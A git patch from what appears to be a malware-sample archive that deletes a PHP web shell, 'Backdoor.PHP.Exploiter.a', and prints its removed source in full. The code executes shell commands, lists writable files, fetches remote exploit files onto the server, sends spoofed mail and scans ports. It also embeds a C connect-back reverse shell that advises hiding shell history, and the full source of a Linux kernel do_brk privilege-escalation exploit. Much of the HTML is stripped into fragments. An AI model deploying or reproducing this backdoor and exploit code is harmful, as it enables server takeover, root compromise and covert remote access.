From 45d9f79bc2a0ad036a5a6bbcac7dc75030a2e121 Mon Sep 17 00:00:00 2001
From: vxunderground <57078196+vxunderground@users.noreply.github.com>
Date: Thu, 15 Oct 2020 20:54:03 -0500
Subject: [PATCH] Delete Backdoor.PHP.Exploiter.a
---
PHP/Backdoor.PHP.Exploiter.a | 652 -----------------------------------
1 file changed, 652 deletions(-)
delete mode 100644 PHP/Backdoor.PHP.Exploiter.a
diff --git a/PHP/Backdoor.PHP.Exploiter.a b/PHP/Backdoor.PHP.Exploiter.a
deleted file mode 100644
index f9867b6b..00000000
--- a/PHP/Backdoor.PHP.Exploiter.a
+++ /dev/null
@@ -1,652 +0,0 @@
-
-
-
-
-
- /server Irc.Ashiyane.com
- /j #virus #Ashiyane
-
Virus@Ashiyane.com
-
-
-
-
-
-
- : |
-
-
-
-
-
- Script Current User: |
-
-
-
- PHP Version: |
-
-
-
- User Info: uid() euid() gid() |
-
-
-
- Current Path: |
-
-
-
- Server IP:
- |
-
-
-
- Web Server:
- |
-
-
-
-[*]
-Command Mode Run";
-
-?>
-
-
- Command Prompt
-&1");
- $output = ob_get_contents();
- ob_end_clean( );
-
-?>
-
-
-[*]
-Safemode Mode Run";
-
-?>
-
- Safe Mode Directory Listing
-";
- echo "";
- echo "";
- echo "List All Files
";
- while (($file = readdir($dir)) !== false) {
- if (@is_file($file)) {
- $file1 = fileowner($file);
- $file2 = fileperms($file);
- echo "$file1 - $file2 - $file
";
- // echo "$file1 - $file2 - $file
";
- flush( );
- }
- }
-
- echo " | ";
- echo"";
- echo "List Only Folders
-
";
- if ($dir = @opendir($chdir)) {
- while (($file = readdir($dir)) !== false) {
- if (@is_dir($file)) {
- $file1 = fileowner($file);
- $file2 = fileperms($file);
- echo "$file1 - $file2 - $file
";
- // echo "$file1 - $file2 - $file
";
- }
- }
- }
- echo " | ";
- echo"";
- echo "List Writable Folders
";
- if ($dir = @opendir($chdir)) {
- while (($file = readdir($dir)) !== false) {
- if (@is_writable($file) && @is_dir($file)) {
- $file1 = fileowner($file);
- $file2 = fileperms($file);
- echo "$file1 - $file2 - $file
";
- }
- }
- }
- echo " | ";
- echo "";
- echo "";
- echo "List Writable Files
";
-
- if ($dir = opendir($chdir)) {
- while (($file = readdir($dir)) !== false) {
- if (@is_writable($file) && @is_file($file)) {
- $file1 = fileowner($file);
- $file2 = fileperms($file);
- echo "$file1 - $file2 - $file
";
- }
- }
- }
- echo " | ";
- echo "
";
- echo "";
- }
- }
-
-?>
-\n" .
- "#include \n" .
- "#include \n" .
- "#include \n" .
- "#include \n" .
- "int main(int argc, char **argv) {\n" .
- " char *host;\n" .
- " int port = 80;\n" .
- " int f;\n" .
- " int l;\n" .
- " int sock;\n" .
- " struct in_addr ia;\n" .
- " struct sockaddr_in sin, from;\n" .
- " struct hostent *he;\n" .
- " char msg[ ] = \"Welcome to Haji virus Connect Back Shell\\n\\n\"\n" .
- " \"Issue \\\"export TERM=xterm; exec bash -i\\\"\\n\"\n" .
- " \"For More Reliable Shell.\\n\"\n" .
- " \"Issue \\\"unset HISTFILE; unset SAVEHIST\\\"\\n\"\n" .
- " \"For Not Getting Logged.\\n(;\\n\\n\";\n" .
- " printf(\"Haji virus Connect Back Backdoor\\n\\n\");\n" .
- " if (argc < 2 || argc > 3) {\n" .
- " printf(\"Usage: %s [Host] \\n\", argv[0]);\n" .
- " return 1;\n" .
- " }\n" .
- " printf(\"[*] Dumping Arguments\\n\");\n" .
- " l = strlen(argv[1]);\n" .
- " if (l <= 0) {\n" .
- " printf(\"[-] Invalid Host Name\\n\");\n" .
- " return 1;\n" .
- " }\n" .
- " if (!(host = (char *) malloc(l))) {\n" .
- " printf(\"[-] Unable to Allocate Memory\\n\");\n" .
- " return 1;\n" .
- " }\n" .
- " strncpy(host, argv[1], l);\n" .
- " if (argc == 3) {\n" .
- " port = atoi(argv[2]);\n" .
- " if (port <= 0 || port > 65535) {\n" .
- " printf(\"[-] Invalid Port Number\\n\");\n" .
- " return 1;\n" .
- " }\n" .
- " }\n" .
- " printf(\"[*] Resolving Host Name\\n\");\n" .
- " he = gethostbyname(host);\n" .
- " if (he) {\n" .
- " memcpy(&ia.s_addr, he->h_addr, 4);\n" .
- " } else if ((ia.s_addr = inet_addr(host)) == INADDR_ANY) {\n" .
- " printf(\"[-] Unable to Resolve: %s\\n\", host);\n" .
- " return 1;\n" .
- " }\n" .
- " sin.sin_family = PF_INET;\n" .
- " sin.sin_addr.s_addr = ia.s_addr;\n" .
- " sin.sin_port = htons(port);\n" .
- " printf(\"[*] Connecting...\\n\");\n" .
- " if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {\n" .
- " printf(\"[-] Socket Error\\n\");\n" .
- " return 1;\n" .
- " }\n" .
- " if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) != 0) {\n" .
- " printf(\"[-] Unable to Connect\\n\");\n" .
- " return 1;\n" .
- " }\n" .
- " printf(\"[*] Spawning Shell\\n\");\n" .
- " f = fork( );\n" .
- " if (f < 0) {\n" .
- " printf(\"[-] Unable to Fork\\n\");\n" .
- " return 1;\n" .
- " } else if (!f) {\n" .
- " write(sock, msg, sizeof(msg));\n" .
- " dup2(sock, 0);\n" .
- " dup2(sock, 1);\n" .
- " dup2(sock, 2);\n" .
- " execl(\"/bin/sh\", \"shell\", NULL);\n" .
- " close(sock);\n" .
- " return 0;\n" .
- " }\n" .
- " printf(\"[*] Detached\\n\\n\");\n" .
- " return 0;\n" .
- "}\n";
-
- $fp = fopen("/tmp/dc-connectback.c", "w");
- $ok = fwrite($fp, $shell);
-
- if (!empty($ok)) {
- echo "[*] Connect Back Shell Was Successfuly Copied
";
- } else {
- echo "[-] An Error Has Ocurred While Copying Shell
";
- }
- }
-
- if ($kernel == "write") {
- $kernel = "/*\n" .
- " * hatorihanzo.c\n" .
- " * Linux kernel do_brk vma overflow exploit.\n" .
- " *\n" .
- " * The bug was found by Paul (IhaQueR) Starzetz \n" .
- " *\n" .
- " * Further research and exploit development by\n" .
- " * Wojciech Purczynski and Paul Starzetz.\n" .
- " *\n" .
- " * (c) 2003 Copyright by IhaQueR and cliph. All Rights Reserved.\n" .
- " *\n" .
- " * COPYING, PRINTING, DISTRIBUTION, MODIFICATION, COMPILATION AND ANY USE\n" .
- " * OF PRESENTED CODE IS STRICTLY PROHIBITED.\n" .
- "*/\n" .
- "#define _GNU_SOURCE\n" .
- "#include \n" .
- "#include \n" .
- "#include \n" .
- "#include \n" .
- "#include \n" .
- "#include \n" .
- "#include \n" .
- "#include \n" .
- "#include \n" .
- "#include \n" .
- "#include \n" .
- "#include \n" .
- "#include \n" .
- "#include \n" .
- "#include \n" .
- "#include \n" .
- "#include \n" .
- "#include \n" .
- "#include \n" .
- "#include \n" .
- "#include \n" .
- "#define kB * 1024\n" .
- "#define MB * 1024 kB\n" .
- "#define GB * 1024 MB\n" .
- "#define MAGIC 0xdefaced /* I should've patented this number -cliph */\n" .
- "#define ENTRY_MAGIC 0\n" .
- "#define ENTRY_GATE 2\n" .
- "#define ENTRY_CS 4\n" .
- "#define ENTRY_DS 6\n" .
- "#define CS ((ENTRY_CS << 2) | 4)\n" .
- "#define DS ((ENTRY_DS << 2) | 4)\n" .
- "#define GATE ((ENTRY_GATE << 2) | 4 | 3)\n" .
- "#define LDT_PAGES ((LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1) / PAGE_SIZE)\n" .
- "#define TOP_ADDR 0xFFFFE000U\n" .
- "/* configuration */\n" .
- "unsigned task_size;\n" .
- "unsigned page;\n" .
- "uid_t uid;\n" .
- "unsigned address;\n" .
- "int dontexit = 0;\n" .
- "void fatal(char * msg)\n" .
- "{\n" .
- " fprintf(stderr, \"[-] %s: %s\\n\", msg, strerror(errno));\n" .
- " if (dontexit) {\n" .
- " fprintf(stderr, \"[-] Unable to exit, entering neverending loop.\\n\");\n" .
- " kill(getpid(), SIGSTOP);\n" .
- " for (;;) pause();\n" .
- " }\n" .
- " exit(EXIT_FAILURE);\n" .
- "}\n" .
- "void configure(void)\n" .
- "{\n" .
- " unsigned val;\n" .
- " task_size = ((unsigned)&val + 1 GB ) / (1 GB) * 1 GB;\n" .
- " uid = getuid();\n" .
- "}\n" .
- "void expand(void)\n" .
- "{\n" .
- " unsigned top = (unsigned) sbrk(0);\n" .
- " unsigned limit = address + PAGE_SIZE;\n" .
- " do {\n" .
- " if (sbrk(PAGE_SIZE) == NULL)\n" .
- " fatal(\"Kernel seems not to be vulnerable\");\n" .
- " dontexit = 1;\n" .
- " top += PAGE_SIZE;\n" .
- " } while (top < limit);\n" .
- "}\n" .
- "jmp_buf jmp;\n" .
- "#define MAP_NOPAGE 1\n" .
- "#define MAP_ISPAGE 2\n" .
- "void sigsegv(int signo, siginfo_t * si, void * ptr)\n" .
- "{\n" .
- " struct ucontext * uc = (struct ucontext *) ptr;\n" .
- " int error_code = uc->uc_mcontext.gregs[REG_ERR];\n" .
- " (void)signo;\n" .
- " (void)si;\n" .
- " error_code = MAP_NOPAGE + (error_code & 1);\n" .
- " longjmp(jmp, error_code);\n" .
- "}\n" .
- "void prepare(void)\n" .
- "{\n" .
- " struct sigaction sa;\n" .
- " sa.sa_sigaction = sigsegv;\n" .
- " sa.sa_flags = SA_SIGINFO | SA_NOMASK;\n" .
- " sigemptyset(&sa.sa_mask);\n" .
- " sigaction(SIGSEGV, &sa, NULL);\n" .
- "}\n" .
- "int testaddr(unsigned addr)\n" .
- "{\n" .
- " int val;\n" .
- " val = setjmp(jmp);\n" .
- " if (val == 0) {\n" .
- " asm (\"verr (%%eax)\" : : \"a\" (addr));\n" .
- " return MAP_ISPAGE;\n" .
- " }\n" .
- " return val;\n" .
- "}\n" .
- "#define map_pages (((TOP_ADDR - task_size) + PAGE_SIZE - 1) / PAGE_SIZE)\n" .
- "#define map_size (map_pages + 8*sizeof(unsigned) - 1) / (8*sizeof(unsigned))\n" .
- "#define next(u, b) do { if ((b = 2*b) == 0) { b = 1; u++; } } while(0)\n" .
- "void map(unsigned * map)\n" .
- "{\n" .
- " unsigned addr = task_size;\n" .
- " unsigned bit = 1;\n" .
- " prepare();\n" .
- " while (addr < TOP_ADDR) {\n" .
- " if (testaddr(addr) == MAP_ISPAGE)\n" .
- " *map |= bit;\n" .
- " addr += PAGE_SIZE;\n" .
- " next(map, bit);\n" .
- " }\n" .
- " signal(SIGSEGV, SIG_DFL);\n" .
- "}\n" .
- "void find(unsigned * m)\n" .
- "{\n" .
- " unsigned addr = task_size;\n" .
- " unsigned bit = 1;\n" .
- " unsigned count;\n" .
- " unsigned tmp;\n" .
- " prepare();\n" .
- " tmp = address = count = 0U;\n" .
- " while (addr < TOP_ADDR) {\n" .
- " int val = testaddr(addr);\n" .
- " if (val == MAP_ISPAGE && (*m & bit) == 0) {\n" .
- " if (!tmp) tmp = addr;\n" .
- " count++;\n" .
- " } else {\n" .
- " if (tmp && count == LDT_PAGES) {\n" .
- " errno = EAGAIN;\n" .
- " if (address)\n" .
- " fatal(\"double allocation\\n\");\n" .
- " address = tmp;\n" .
- " }\n" .
- " tmp = count = 0U;\n" .
- " }\n" .
- " addr += PAGE_SIZE;\n" .
- " next(m, bit);\n" .
- " }\n" .
- " signal(SIGSEGV, SIG_DFL);\n" .
- " if (address)\n" .
- " return;\n" .
- " errno = ENOTSUP;\n" .
- " fatal(\"Unable to determine kernel address\");\n" .
- "}\n" .
- "int modify_ldt(int, void *, unsigned);\n" .
- "void ldt(unsigned * m)\n" .
- "{\n" .
- " struct modify_ldt_ldt_s l;\n" .
- " map(m);\n" .
- " memset(&l, 0, sizeof(l));\n" .
- " l.entry_number = LDT_ENTRIES - 1;\n" .
- " l.seg_32bit = 1;\n" .
- " l.base_addr = MAGIC >> 16;\n" .
- " l.limit = MAGIC & 0xffff;\n" .
- " if (modify_ldt(1, &l, sizeof(l)) == -1)\n" .
- " fatal(\"Unable to set up LDT\");\n" .
- " l.entry_number = ENTRY_MAGIC / 2;\n" .
- " if (modify_ldt(1, &l, sizeof(l)) == -1)\n" .
- " fatal(\"Unable to set up LDT\");\n" .
- " find(m);\n" .
- "}\n" .
- "asmlinkage void kernel(unsigned * task)\n" .
- "{\n" .
- " unsigned * addr = task;\n" .
- " /* looking for uids */\n" .
- " while (addr[0] != uid || addr[1] != uid ||\n" .
- " addr[2] != uid || addr[3] != uid)\n" .
- " addr++;\n" .
- " addr[0] = addr[1] = addr[2] = addr[3] = 0; /* uids */\n" .
- " addr[4] = addr[5] = addr[6] = addr[7] = 0; /* uids */\n" .
- " addr[8] = 0;\n" .
- " /* looking for vma */\n" .
- " for (addr = (unsigned *) task_size; addr; addr++) {\n" .
- " if (addr[0] >= task_size && addr[1] < task_size &&\n" .
- " addr[2] == address && addr[3] >= task_size) {\n" .
- " addr[2] = task_size - PAGE_SIZE;\n" .
- " addr = (unsigned *) addr[3];\n" .
- " addr[1] = task_size - PAGE_SIZE;\n" .
- " addr[2] = task_size;\n" .
- " break;\n" .
- " }\n" .
- " }\n" .
- "}\n" .
- "void kcode(void);\n" .
- "#define __str(s) #s\n" .
- "#define str(s) __str(s)\n" .
- "void __kcode(void)\n" .
- "{\n" .
- " asm(\n" .
- " \"kcode: \\n\"\n" .
- " \" pusha \\n\"\n" .
- " \" pushl %es \\n\"\n" .
- " \" pushl %ds \\n\"\n" .
- " \" movl $(\" str(DS) \") ,%edx \\n\"\n" .
- " \" movl %edx,%es \\n\"\n" .
- " \" movl %edx,%ds \\n\"\n" .
- " \" movl $0xffffe000,%eax \\n\"\n" .
- " \" andl %esp,%eax \\n\"\n" .
- " \" pushl %eax \\n\"\n" .
- " \" call kernel \\n\"\n" .
- " \" addl $4, %esp \\n\"\n" .
- " \" popl %ds \\n\"\n" .
- " \" popl %es \\n\"\n" .
- " \" popa \\n\"\n" .
- " \" lret \\n\"\n" .
- " );\n" .
- "}\n" .
- "void knockout(void)\n" .
- "{\n" .
- " unsigned * addr = (unsigned *) address;\n" .
- " if (mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE) == -1)\n" .
- " fatal(\"Unable to change page protection\");\n" .
- " errno = ESRCH;\n" .
- " if (addr[ENTRY_MAGIC] != MAGIC)\n" .
- " fatal(\"Invalid LDT entry\");\n" .
- " /* setting call gate and privileged descriptors */\n" .
- " addr[ENTRY_GATE+0] = ((unsigned)CS << 16) | ((unsigned)kcode & 0xffffU);\n" .
- " addr[ENTRY_GATE+1] = ((unsigned)kcode & ~0xffffU) | 0xec00U;\n" .
- " addr[ENTRY_CS+0] = 0x0000ffffU; /* kernel 4GB code at 0x00000000 */\n" .
- " addr[ENTRY_CS+1] = 0x00cf9a00U;\n" .
- " addr[ENTRY_DS+0] = 0x0000ffffU; /* user 4GB code at 0x00000000 */\n" .
- " addr[ENTRY_DS+1] = 0x00cf9200U;\n" .
- " prepare();\n" .
- " if (setjmp(jmp) != 0) {\n" .
- " errno = ENOEXEC;\n" .
- " fatal(\"Unable to jump to call gate\");\n" .
- " }\n" .
- " asm(\"lcall $\" str(GATE) \",$0x0\"); /* this is it */\n" .
- "}\n" .
- "void shell(void)\n" .
- "{\n" .
- " char * argv[] = { _PATH_BSHELL, NULL };\n" .
- " execve(_PATH_BSHELL, argv, environ);\n" .
- " fatal(\"Unable to spawn shell\\n\");\n" .
- "}\n" .
- "void remap(void)\n" .
- "{\n" .
- " static char stack[8 MB]; /* new stack */\n" .
- " static char * envp[] = { \"PATH=\" _PATH_STDPATH, NULL };\n" .
- " static unsigned * m;\n" .
- " static unsigned b;\n" .
- " m = (unsigned *) sbrk(map_size);\n" .
- " if (!m)\n" .
- " fatal(\"Unable to allocate memory\");\n" .
- " environ = envp;\n" .
- " asm (\"movl %0, %%esp\\n\" : : \"a\" (stack + sizeof(stack)));\n" .
- " b = ((unsigned)sbrk(0) + PAGE_SIZE - 1) & PAGE_MASK;\n" .
- " if (munmap((void*)b, task_size - b) == -1)\n" .
- " fatal(\"Unable to unmap stack\");\n" .
- " while (b < task_size) {\n" .
- " if (sbrk(PAGE_SIZE) == NULL)\n" .
- " fatal(\"Unable to expand BSS\");\n" .
- " b += PAGE_SIZE;\n" .
- " }\n" .
- " ldt(m);\n" .
- " expand();\n" .
- " knockout();\n" .
- " shell();\n" .
- "}\n" .
- "int main(void)\n" .
- "{\n" .
- " configure();\n" .
- " remap();\n" .
- " return EXIT_FAILURE;\n" .
- "}\n";
-
- $fp = fopen("/tmp/xpl_brk.c", "w");
- $ok = fwrite($fp, $kernel);
-
- if (!empty($ok)) {
- echo "[*] Linux Local Kernel Exploit Was Successfuly Copied
";
- } else {
- echo "[-] An Error Has Ocurred While Copying Kernel Exploit
";
- }
- }
-
-?>
-
-
-";
- echo "";
-}
-
-// Function to Dowload Local Xploite Binary COde or Source Code
-
-if ($dx != "") {
- $fp = @fopen("$hostxpl",r);
- $fp2 = @fopen("$storage","w");
- fwrite($fp2, "");
- $fp1 = @fopen("$storage","a+");
- for (;;) {
- $read = @fread($fp, 4096);
- if (empty($read)) break;
- $ok = fwrite($fp1, $read);
-
- if (empty($ok)) {
- echo "[-] An Error Has Ocurred While Uploading File
";
- break;
- }
- }
-
- if (!empty($ok)) {
- echo "[*] File Was Successfuly Uploaded
";
- }
-}
-
-flush( );
-
-// Function to visulize Format Color Source Code PHP
-
-if ($sfc != "") {
- $showcode = show_source("$sfc");
- echo " $showcode ";
-}
-
-// Function to Visualize all infomation files
-if ($fileinfo != "") {
- $infofile = stat("$fileanalize");
- while (list($info, $value) = each ($infofile)) {
- echo" Info: $info Value: $value
";
- }
-}
-
-// Function to send fake mail
-if ($fake == 1) {
- echo "";
-}
-
-if($send == 1) {
- if (mail($cavy, $subject, $body, "From: $yourmail\r\n")) {
- echo "[*] Mail Send Sucessfuly
";
- } else {
- echo "[-] An Error Has Ocurred While Sending Mail
";
- }
-}
-
-if ($portscan != "") {
- $port = array ("21","22","23","25","110",);
- $values = count($port);
- for ($cont=0; $cont < $values; $cont++) {
- @$sock[$cont] = Fsockopen($SERVER_NAME, $port[$cont], $oi, $oi2, 1);
- $service = Getservbyport($port[$cont],"tcp");
- @$get = fgets($sock[$cont]);
- echo "
Port: $port[$cont] - Service: $service
";
- echo "
Banner: $get
";
- flush();
- }
-}
-
-?>
-
\ No newline at end of file